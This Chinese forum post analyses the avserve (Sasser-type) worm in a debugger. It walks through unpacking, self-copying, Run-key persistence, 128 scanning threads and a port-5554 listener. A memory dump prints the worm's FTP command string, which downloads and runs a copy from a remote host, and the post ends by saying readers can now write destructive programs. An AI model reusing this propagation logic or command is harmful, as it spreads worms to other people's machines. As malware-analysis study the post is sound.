• 标 题:标 题:avserve病毒初步分析!【原创】
  • 作 者:mejy
  • 时 间:004-05-02,21:08
  • 链 接:http://bbs.pediy.com

avserve病毒初步分析

作者:mejy【BCG】【FCG】【DFCG】【NUKE】【IPB】

声明:本文仅供研究使用,任何人利用本文涉及的技术造成的不当后果由自己承担!
      由于本人第一次分析病毒,很多不正确的地方请各位大侠指正!!!
      本人第一次写本文时尚未有官方资料出来!有些地方肯定不是很准确!请谅解欢迎指正!
      反汇编会发现输入表只有几个简单的函数。
004027CE > B8 DD274000      MOV EAX,23918_up.004027DD  用OD载入程序停在这里。
载入时,提示是压缩过得!检测工具识别不出什么壳,自己试着脱一下吧!在脱壳过程中感觉壳里面包含着壳自动
复制,传播的代码!脱掉壳之后感觉其影响力要小多了!不知道对不对,先脱壳吧!

代码:
004027CE > B8 DD274000      MOV EAX,23918_up.004027DD 004027D3   8000 28          ADD BYTE PTR DS:[EAX],28 004027D6   40               INC EAX   004027D7   8100 67452301    ADD DWORD PTR DS:[EAX],1234567 //单步走到这里,下面的代码改变 004027DD   90               NOP 004027DE   A9 521DFF50      TEST EAX,50FF1D52 004027E3   64:FF35 00000000 PUSH DWORD PTR FS:[0] 004027EA   64:8925 00000000 MOV DWORD PTR FS:[0],ESP 004027F1   33C0             XOR EAX,EAX 004027F3   8908             MOV DWORD PTR DS:[EAX],ECX 变成: 004027CE > B8 DD274000      MOV EAX,23918_up.004027DD 004027D3   8000 28          ADD BYTE PTR DS:[EAX],28 004027D6   40               INC EAX 004027D7   8100 67452301    ADD DWORD PTR DS:[EAX],1234567 004027DD   B8 10984000      MOV EAX,23918_up.00409810   在EAX的地址处设断,然后SHIFT+F9 004027E2   50               PUSH EAX 004027E3   64:FF35 00000000 PUSH DWORD PTR FS:[0]        典型异常标志 004027EA   64:8925 00000000 MOV DWORD PTR FS:[0],ESP 004027F1   33C0             XOR EAX,EAX 004027F3   8908             MOV DWORD PTR DS:[EAX],ECX 00409810   B8 B18740F0      MOV EAX,F04087B1          停在这里 00409815   8D88 82100010    LEA ECX,DWORD PTR DS:[EAX+10001082] 0040981B   8941 01          MOV DWORD PTR DS:[ECX+1],EAX 0040981E   8B5424 04        MOV EDX,DWORD PTR SS:[ESP+4] 00409822   8B52 0C          MOV EDX,DWORD PTR DS:[EDX+C] 00409825   C602 E9          MOV BYTE PTR DS:[EDX],0E9 00409828   83C2 05          ADD EDX,5 0040982B   2BCA             SUB ECX,EDX 0040982D   894A FC          MOV DWORD PTR DS:[EDX-4],ECX 00409830   33C0             XOR EAX,EAX 00409832   C3               RETN    这里返回系统空间,我用Ctrl+F9一直走到下面 00409833   B8 B18740F0      MOV EAX,F04087B1    也可以取消上面的断点,再这里设断,然后单步走,程序可直接到达OEP 00409838   64:8F05 00000000 POP DWORD PTR FS:[0] 0040983F   83C4 04          ADD ESP,4 00409842   55               PUSH EBP 00409843   53               PUSH EBX 060010B5   8945 A0          MOV DWORD PTR SS:[EBP-60],EAX     这里看见PE文件头部特征。 060010B8   837D A0 00       CMP DWORD PTR SS:[EBP-60],0 060010BC   75 07            JNZ SHORT ApiHook.060010C5 060010BE   33C0             XOR EAX,EAX 060010C0   E9 92000000      JMP ApiHook.06001157 。。。第一次来到这里 00340430   85C0             TEST EAX,EAX                             ; kernel32.ExitProcess 略 00340451   C9               LEAVE ××××××××××××××××××××××××××有一个循环,应该是处理IAT的 00340403   51               PUSH ECX        IAT,输入表USER32.DLL 00340404   FF93 8F120010    CALL DWORD PTR DS:[EBX+1000128F]  LoadLibrary 0034040A   85C0             TEST EAX,EAX 0034040C   74 3A            JE SHORT 00340448 0034040E   8945 FC          MOV DWORD PTR SS:[EBP-4],EAX 00340411   8B56 04          MOV EDX,DWORD PTR DS:[ESI+4] 00340414   03D3             ADD EDX,EBX 00340416   8B7E 08          MOV EDI,DWORD PTR DS:[ESI+8] 00340419   03FB             ADD EDI,EBX 0034041B   8B02             MOV EAX,DWORD PTR DS:[EDX]     0034041D   85C0             TEST EAX,EAX 0034041F   74 1A            JE SHORT 0034043B 00340421   52               PUSH EDX 00340422   8B02             MOV EAX,DWORD PTR DS:[EDX] 00340424   03C3             ADD EAX,EBX 00340426   50               PUSH EAX 00340427   FF75 FC          PUSH DWORD PTR SS:[EBP-4] 0034042A   FF93 93120010    CALL DWORD PTR DS:[EBX+10001293] 00340430   85C0             TEST EAX,EAX 00340432   74 14            JE SHORT 00340448 00340434   AB               STOS DWORD PTR ES:[EDI] 00340435   5A               POP EDX 00340436   83C2 04          ADD EDX,4 00340439  ^EB E0            JMP SHORT 0034041B 走过上面来到这里 003401C0   8B4E 2C          MOV ECX,DWORD PTR DS:[ESI+2C] 003401C3   8B56 24          MOV EDX,DWORD PTR DS:[ESI+24] 003401C6   0356 08          ADD EDX,DWORD PTR DS:[ESI+8] 003401C9   6A 40            PUSH 40 003401CB   68 00100000      PUSH 1000 003401D0   51               PUSH ECX 003401D1   6A 00            PUSH 0 003401D3   FF12             CALL DWORD PTR DS:[EDX] 003401D5   8985 8B120010    MOV DWORD PTR SS:[EBP+1000128B],EAX 003401DB   56               PUSH ESI       这几个函数是恢复输入表的,应该。 003401DC   E8 D7030000      CALL 003405B8  跟进去会发现,它会拷贝输入表,和其他一些shell。 003401E1   56               PUSH ESI       003401E2   E8 DF040000      CALL 003406C6 003401E7   56               PUSH ESI 003401E8   E8 CB020000      CALL 003404B8 003401ED   56               PUSH ESI 003401EE   E8 62020000      CALL 00340455 003401F3   8B4E 34          MOV ECX,DWORD PTR DS:[ESI+34] 003401F6   85C9             TEST ECX,ECX 一直F8单步来到下面地方 004098AE   8985 21110010    MOV DWORD PTR SS:[EBP+10001121],EAX      ; 23918_up.<ModuleEntryPoint> 004098B4   8BF0             MOV ESI,EAX 004098B6   59               POP ECX 略调一部分 004098C9   59               POP ECX 004098CA   5B               POP EBX 004098CB   5D               POP EBP 004098CC   FFE0             JMP EAX     这里跳到新的OEP,和和原来载入的地址一样。 004027CE > 55               PUSH EBP 这时入口点就变成了这样了。 本人脱壳水平一般,理论的东西我就不班门弄赴了! 004027CF   8BEC             MOV EBP,ESP 004027D1   6A FF            PUSH -1 004027D3   68 28514000      PUSH 23918_up.00405128 到了入口点就可以DUMP程序了,然后用ImportREC修复一下,程序就脱壳成功。不过你在运行之前建议你先打上补丁。 脱下来了,咱们来分析一下该病毒的工作流程。 修复好之后用OD载入脱壳后的程序,看一下他的输入表基本上就知道 他是如何工作的了。OD载入后,Ctrl+N搜索当前模块中的名称! 为了看清它的流程,我们F8单步,一步步的跟。忘了说了,这个病毒用VC写的。 00402896  |. 50             PUSH EAX    这是VC程序运行特征,F4到这里 00402897  |. E8 4EF7FFFF    CALL dumped_.00401FEA  F7进入,要不然病毒就直接运行了 00401FEA  /$ 55             PUSH EBP  进入上面的call 00401FEB  |. 8BEC           MOV EBP,ESP 00401FED  |. 51             PUSH ECX 00401FEE  |. 51             PUSH ECX 00401FEF  |. 56             PUSH ESI 00401FF0  |. FF15 44504000  CALL DWORD PTR DS:[<&kernel32.GetTickCou>; [GetTickCount 上面是得到系统自启动以来运行的时间。 00401FF6  |. 50             PUSH EAX 00401FF7  |. E8 22F0FFFF    CALL dumped_.0040101E 上面的call作用是将时间保存到内存[406F20]当中。 00401FFC  |. 6A 01          PUSH 1 00401FFE  |. E8 6E000000    CALL dumped_.00402071 ××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××× 跟进上面的call。看看它是干什么坏事的。 00402071  /$ 55             PUSH EBP 00402072  |. 8BEC           MOV EBP,ESP 00402074  |. 81EC 24080000  SUB ESP,824 0040207A  |. 56             PUSH ESI 0040207B  |. BE 00040000    MOV ESI,400 00402080  |. 8D85 DCF7FFFF  LEA EAX,DWORD PTR SS:[EBP-824] 00402086  |. 56             PUSH ESI                                 ; /BufSize => 400 (1024.) 00402087  |. 50             PUSH EAX                                 ; |PathBuffer 00402088  |. 6A 00          PUSH 0                                   ; |hModule = NULL 0040208A  |. FF15 34504000  CALL DWORD PTR DS:[<&kernel32.GetModuleF>; \GetModuleFileNameA 得到程序句柄 00402090  |. 8D85 DCFBFFFF  LEA EAX,DWORD PTR SS:[EBP-424] 00402096  |. 56             PUSH ESI                                 ; /BufSize => 400 (1024.) 00402097  |. 50             PUSH EAX                                 ; |Buffer 00402098  |. FF15 4C504000  CALL DWORD PTR DS:[<&kernel32.GetWindows>; \GetWindowsDirectoryA 得到windows安装目录 0040209E  |. 8D85 DCFBFFFF  LEA EAX,DWORD PTR SS:[EBP-424]   堆栈中是取得的目录 004020A4  |. 50             PUSH EAX     004020A5  |. E8 96000000    CALL dumped_.00402140 这个函数干什么,没明白好像没多大作用 004020AA  |. 80BC05 DBFBFFF>CMP BYTE PTR SS:[EBP+EAX-425],5C 004020B2  |. 59             POP ECX 004020B3  |. 5E             POP ESI 004020B4  |. 74 13          JE SHORT dumped_.004020C9 004020B6  |. 8D85 DCFBFFFF  LEA EAX,DWORD PTR SS:[EBP-424] 004020BC  |. 68 B06A4000    PUSH dumped_.00406AB0 004020C1  |. 50             PUSH EAX 004020C2  |. E8 F9050000    CALL dumped_.004026C0 这里进去看看慢慢的你看见内存中 004068C8  20 69 40 00 18 69 40 00 10 69 40 00 08 69 40 00   i@.i@.i@.i@. 004068D8  00 69 40 00 F8 68 40 00 F0 68 40 00 E8 68 40 00  .i@.鴋@.餳@.鑘@. 004068E8  31 35 30 20 4F 4B 0A 00 32 30 30 20 4F 4B 0A 00  150 OK..200 OK.. 004068F8  32 32 36 20 4F 4B 0A 00 32 33 30 20 4F 4B 0A 00  226 OK..230 OK.. 00406908  33 33 31 20 4F 4B 0A 00 32 32 30 20 4F 4B 0A 00  331 OK..220 OK.. 00406918  61 76 73 65 72 76 65 00 61 76 73 65 72 76 65 2E  avserve.avserve.  程序名 00406928  65 78 65 00 65 63 68 6F 20 6F 66 66 26 65 63 68  exe.echo off&ech 00406938  6F 20 6F 70 65 6E 20 25 73 20 35 35 35 34 3E 3E  o open %s 5554>> 00406948  63 6D 64 2E 66 74 70 26 65 63 68 6F 20 61 6E 6F  cmd.ftp&echo ano 00406958  6E 79 6D 6F 75 73 3E 3E 63 6D 64 2E 66 74 70 26  nymous>>cmd.ftp& 00406968  65 63 68 6F 20 75 73 65 72 26 65 63 68 6F 20 62  echo user&echo b 00406978  69 6E 3E 3E 63 6D 64 2E 66 74 70 26 65 63 68 6F  in>>cmd.ftp&echo 00406988  20 67 65 74 20 25 69 5F 75 70 2E 65 78 65 3E 3E   get %i_up.exe>> 00406998  63 6D 64 2E 66 74 70 26 65 63 68 6F 20 62 79 65  cmd.ftp&echo bye 004069A8  3E 3E 63 6D 64 2E 66 74 70 26 65 63 68 6F 20 6F  >>cmd.ftp&echo o 004069B8  6E 26 66 74 70 20 2D 73 3A 63 6D 64 2E 66 74 70  n&ftp -s:cmd.ftp 004069C8  26 25 69 5F 75 70 2E 65 78 65 26 65 63 68 6F 20  &%i_up.exe&echo 004069D8  6F 66 66 26 64 65 6C 20 63 6D 64 2E 66 74 70 26  off&del cmd.ftp& 004069E8  65 63 68 6F 20 6F 6E 0A 00 00 00 00 31 32 37 2E  echo on.....127. 004069F8  30 2E 30 2E 31 00 00 00 25 73 25 63 00 00 00 00  0.0.1...%s%c.... 00406A08  5C 5C 25 73 5C 69 70 63 24 00 00 00 EB 06        \\%s\ipc$...?? 这个应该是干坏事的东西吧(估计) 004026C0  /$ 8B4C24 04      MOV ECX,DWORD PTR SS:[ESP+4] 省略一部分,大家可以自己跟进 0040271C  |. EB 03          JMP SHORT dumped_.00402721 0040271E  |> 8D79 FC        LEA EDI,DWORD PTR DS:[ECX-4] 00402721  |> 8B4C24 0C      MOV ECX,DWORD PTR SS:[ESP+C]   avserve.exe病毒的另一副本名称 00402725  |. F7C1 03000000  TEST ECX,3 省略一部分 0040279F  \. C3             RETN 004020C7  |. 59             POP ECX 004020C8  |. 59             POP ECX 004020C9  |> FF35 C8684000  PUSH DWORD PTR DS:[4068C8]               ;  dumped_.00406920 004020CF  |. 8D85 DCFBFFFF  LEA EAX,DWORD PTR SS:[EBP-424] 004020D5  |. 50             PUSH EAX 004020D6  |. E8 E5050000    CALL dumped_.004026C0 004020DB  |. 807D 08 00     CMP BYTE PTR SS:[EBP+8],0 004020DF  |. 59             POP ECX 004020E0  |. 59             POP ECX 004020E1  |. 74 16          JE SHORT dumped_.004020F9   这里判断你的Windows安装目录下面有没有avserve.exe文件没有下面就复制 004020E3  |. 8D85 DCFBFFFF  LEA EAX,DWORD PTR SS:[EBP-424] 004020E9  |. 6A 00          PUSH 0                                   ; /FailIfExists = FALSE 004020EB  |. 50             PUSH EAX                                 ; |NewFileName 004020EC  |. 8D85 DCF7FFFF  LEA EAX,DWORD PTR SS:[EBP-824]           ; | 004020F2  |. 50             PUSH EAX                                 ; |ExistingFileName 004020F3  |. FF15 48504000  CALL DWORD PTR DS:[<&kernel32.CopyFileA>>; \CopyFileA  自动复制 004020F9  |> 8D45 FC        LEA EAX,DWORD PTR SS:[EBP-4] 004020FC  |. 50             PUSH EAX                                 ; /pHandle 004020FD  |. 68 806A4000    PUSH dumped_.00406A80                    ; |Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" 00402102  |. 68 02000080    PUSH 80000002                            ; |hKey = HKEY_LOCAL_MACHINE 00402107  |. FF15 04504000  CALL DWORD PTR DS:[<&advapi32.RegOpenKey>; \RegOpenKeyA   这里很明显了改你的注册表,使程序自己开机自动执行 0040210D  |. 8D85 DCFBFFFF  LEA EAX,DWORD PTR SS:[EBP-424] 00402113  |. 50             PUSH EAX 00402114  |. E8 27000000    CALL dumped_.00402140 00402119  |. 59             POP ECX 0040211A  |. 50             PUSH EAX                                 ; /BufSize 0040211B  |. 8D85 DCFBFFFF  LEA EAX,DWORD PTR SS:[EBP-424]           ; | 00402121  |. 50             PUSH EAX                                 ; |Buffer 00402122  |. 6A 01          PUSH 1                                   ; |ValueType = REG_SZ 00402124  |. 6A 00          PUSH 0                                   ; |Reserved = 0 00402126  |. FF35 C8684000  PUSH DWORD PTR DS:[4068C8]               ; |ValueName = "avserve.exe" 0040212C  |. FF75 FC        PUSH DWORD PTR SS:[EBP-4]                ; |hKey 0040212F  |. FF15 08504000  CALL DWORD PTR DS:[<&advapi32.RegSetValu>; \RegSetValueExA 00402135  |. FF75 FC        PUSH DWORD PTR SS:[EBP-4]                ; /hKey 00402138  |. FF15 0C504000  CALL DWORD PTR DS:[<&advapi32.RegCloseKe>; \RegCloseKey 0040213E  |. C9             LEAVE 0040213F  \. C3             RETN 这里就完了。回去下面干坏事了 ××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××× 00402003  |. 59             POP ECX 00402004  |. 59             POP ECX 00402005  |. E8 1EF0FFFF    CALL dumped_.00401028 0040200A  |. 33F6           XOR ESI,ESI 0040200C  |. 68 746A4000    PUSH dumped_.00406A74                    ; /MutexName = "Jobaka3l" 00402011  |. 56             PUSH ESI                                 ; |InitialOwner => FALSE 00402012  |. 56             PUSH ESI                                 ; |pSecurity => NULL 00402013  |. FF15 40504000  CALL DWORD PTR DS:[<&kernel32.CreateMute>; \CreateMutexA   创建一个信号量,目的何在? 00402019  |. FF15 3C504000  CALL DWORD PTR DS:[<&kernel32.GetLastErr>; [GetLastError 0040201F  |. 3D B7000000    CMP EAX,0B7 00402024  |. 75 07          JNZ SHORT dumped_.0040202D  这里如果跳的话,病毒就要开始发威了 00402026  |. 33C0           XOR EAX,EAX 00402028  |. 5E             POP ESI 00402029  |. C9             LEAVE 0040202A  |. C2 1000        RETN 10 0040202D  |> 53             PUSH EBX 0040202E  |. 8D45 FC        LEA EAX,DWORD PTR SS:[EBP-4] 00402031  |. 57             PUSH EDI 00402032  |. 8B3D 38504000  MOV EDI,DWORD PTR DS:[<&kernel32.CreateT>;  KERNEL32.CreateThread 创建线程了 00402038  |. 50             PUSH EAX                                 ; /pThreadId 00402039  |. 56             PUSH ESI                                 ; |CreationFlags 0040203A  |. 56             PUSH ESI                                 ; |pThreadParm 0040203B  |. 68 6A1E4000    PUSH dumped_.00401E6A                    ; |ThreadFunction = dumped_.00401E6A  线程函数的种子函数 00402040  |. 56             PUSH ESI                                 ; |StackSize 00402041  |. 56             PUSH ESI                                 ; |pSecurity 00402042  |. FFD7           CALL EDI                                 ; \CreateThread 00402044  |. BB 80000000    MOV EBX,80    循环创建0x80=128个线程 00402049  |> 8D45 F8        /LEA EAX,DWORD PTR SS:[EBP-8] 0040204C  |. 50             |PUSH EAX 0040204D  |. 56             |PUSH ESI 0040204E  |. 56             |PUSH ESI 0040204F  |. 68 F51E4000    |PUSH dumped_.00401EF5 00402054  |. 56             |PUSH ESI 00402055  |. 56             |PUSH ESI 00402056  |. FFD7           |CALL EDI 00402058  |. 4B             |DEC EBX     循环创建 00402059  |.^75 EE          \JNZ SHORT dumped_.00402049  到这里你不防改一下!不用它来128个了,一个就够你分析了 0040205B  |. 5F             POP EDI 0040205C  |. 5B             POP EBX 0040205D  |> 56             PUSH ESI                                 ; /MachineName 0040205E  |. FF15 00504000  CALL DWORD PTR DS:[<&advapi32.AbortSyste>; \AbortSystemShutdownA 用这个函数关机。 00402064  |. 68 B80B0000    PUSH 0BB8                                ; /Timeout = 3000. ms 00402069  |. FF15 1C504000  CALL DWORD PTR DS:[<&kernel32.Sleep>]    ; \Sleep   睡它一会 它睡得时候好像也没消停,去线程函数那里执行去了  0040206F  \.^EB EC          JMP SHORT dumped_.0040205D 线程函数 00401E6A  /. 55             PUSH EBP 00401E6B  |. 8BEC           MOV EBP,ESP 00401E6D  |. 83EC 14        SUB ESP,14 00401E70  |. 56             PUSH ESI 00401E71  |. 33F6           XOR ESI,ESI 00401E73  |. 57             PUSH EDI 00401E74  |. 56             PUSH ESI                                 ; /Protocol => IPPROTO_IP 00401E75  |. 6A 01          PUSH 1                                   ; |Type = SOCK_STREAM 00401E77  |. 6A 02          PUSH 2                                   ; |Family = AF_INET 00401E79  |. FF15 F0504000  CALL DWORD PTR DS:[<&ws2_32.socket>]     ; \socket   创建socket 00401E7F  |. 8BF8           MOV EDI,EAX 00401E81  |. 83FF FF        CMP EDI,-1 00401E84  |. 75 08          JNZ SHORT dumped_.00401E8E 00401E86  |> 5F             POP EDI 00401E87  |. 33C0           XOR EAX,EAX 00401E89  |. 5E             POP ESI 00401E8A  |. C9             LEAVE 00401E8B  |. C2 0400        RETN 4 00401E8E  |> 68 B2150000    PUSH 15B2                                ; /NetShort = 15B2 00401E93  |. 66:C745 EC 020>MOV WORD PTR SS:[EBP-14],2               ; | 00401E99  |. FF15 EC504000  CALL DWORD PTR DS:[<&ws2_32.htons>]      ; \ntohs  这个函数好像是做端口转换的吧, 网络编程偶不行的说 00401E9F  |. 66:8945 EE     MOV WORD PTR SS:[EBP-12],AX 00401EA3  |. 8D45 EC        LEA EAX,DWORD PTR SS:[EBP-14] 00401EA6  |. 6A 10          PUSH 10                                  ; /AddrLen = 10 (16.) 00401EA8  |. 50             PUSH EAX                                 ; |pSockAddr 00401EA9  |. 57             PUSH EDI                                 ; |Socket 00401EAA  |. 8975 F0        MOV DWORD PTR SS:[EBP-10],ESI            ; | 00401EAD  |. FF15 18514000  CALL DWORD PTR DS:[<&ws2_32.bind>]       ; \bind  绑定一个socket 00401EB3  |. 83F8 FF        CMP EAX,-1 00401EB6  |. 74 0E          JE SHORT dumped_.00401EC6 00401EB8  |. 6A 05          PUSH 5                                   ; /Backlog = 5 00401EBA  |. 57             PUSH EDI                                 ; |Socket 00401EBB  |. FF15 FC504000  CALL DWORD PTR DS:[<&ws2_32.listen>]     ; \listen  监听,队列长度是5 网络牛人们知道是干吗的 00401EC1  |. 83F8 FF        CMP EAX,-1   这里跳到下面去 , 00401EC4  |. 75 09          JNZ SHORT dumped_.00401ECF 00401EC6  |> 57             PUSH EDI                                 ; /Socket 00401EC7  |. FF15 00514000  CALL DWORD PTR DS:[<&ws2_32.closesocket>>; \closesocket  关闭socket 干完坏事,还没忘这个! 00401ECD  |.^EB B7          JMP SHORT dumped_.00401E86 从上面跳到下面 00401ECF  |> 56             /PUSH ESI                                ; /pAddrLen 00401ED0  |. 56             |PUSH ESI                                ; |pSockAddr 00401ED1  |. 57             |PUSH EDI                                ; |Socket 00401ED2  |. FF15 E4504000  |CALL DWORD PTR DS:[<&ws2_32.accept>]    ; \accept  接受连接吧这里应该忘了 程序到了这里,不动了,没法向下调试了,因为我没找到目标 不过往下看看就知道了,应该是产生IP地址并试图攻击。具体怎么作我不分析了。说多了不好。 00401ED8  |. 8D4D FC        |LEA ECX,DWORD PTR SS:[EBP-4] 00401EDB  |. 51             |PUSH ECX                                ; /pThreadId 00401EDC  |. 56             |PUSH ESI                                ; |CreationFlags 00401EDD  |. 50             |PUSH EAX                                ; |pThreadParm 00401EDE  |. 68 031B4000    |PUSH dumped_.00401B03                   ; |ThreadFunction = dumped_.00401B03 00401EE3  |. 56             |PUSH ESI                                ; |StackSize 00401EE4  |. 56             |PUSH ESI                                ; |pSecurity 00401EE5  |. FF15 38504000  |CALL DWORD PTR DS:[<&kernel32.CreateThr>; \CreateThread 00401EEB  |. 6A 19          |PUSH 19                                 ; /Timeout = 25. ms 00401EED  |. FF15 1C504000  |CALL DWORD PTR DS:[<&kernel32.Sleep>]   ; \Sleep 00401EF3  \.^EB DA          \JMP SHORT dumped_.00401ECF 00401EF5   . 83EC 54        SUB ESP,54 00401EF8   . 53             PUSH EBX 00401EF9   . 55             PUSH EBP 00401EFA   . 8B2D DC504000  MOV EBP,DWORD PTR DS:[<&user32.wsprintfA>;  user32.wsprintfA 这里再省略一部分 00401FBB   . 8BCE           MOV ECX,ESI 00401FBD   . F7F9           IDIV ECX 00401FBF   . 52             PUSH EDX 00401FC0   > 8D4424 20      LEA EAX,DWORD PTR SS:[ESP+20] 00401FC4   . 68 4C6A4000    PUSH dumped_.00406A4C                    ;  ASCII "%i.%i.%i.%i"  IP地址的格式哟 00401FC9   . 50             PUSH EAX 00401FCA   . FFD5           CALL EBP 00401FCC   . 83C4 18        ADD ESP,18 00401FCF   . 8D4424 10      LEA EAX,DWORD PTR SS:[ESP+10] 00401FD3   . 50             PUSH EAX 00401FD4   . E8 39FAFFFF    CALL dumped_.00401A12 00401FD9   . 59             POP ECX 00401FDA   . 68 FA000000    PUSH 0FA                                 ; /Timeout = 250. ms 00401FDF   . FF15 1C504000  CALL DWORD PTR DS:[<&kernel32.Sleep>]    ; \Sleep 这么快就干坏事 00401FE5   .^E9 1DFFFFFF    JMP dumped_.00401F07

至此,分析完毕!至于病毒如何利用漏洞来实现shell的,本人水平有限和一些原因不分析了,有兴趣的自己研究
最后申明,到这里大家自己写一个破坏系统的程序已经足够了!不过由此引发的后果本人不负责任!

写完感觉有点班门弄斧之闲!不过毕竟是我第一次分析病毒,愿和大家共享!病毒原来如此简单!
转载请保持完整性!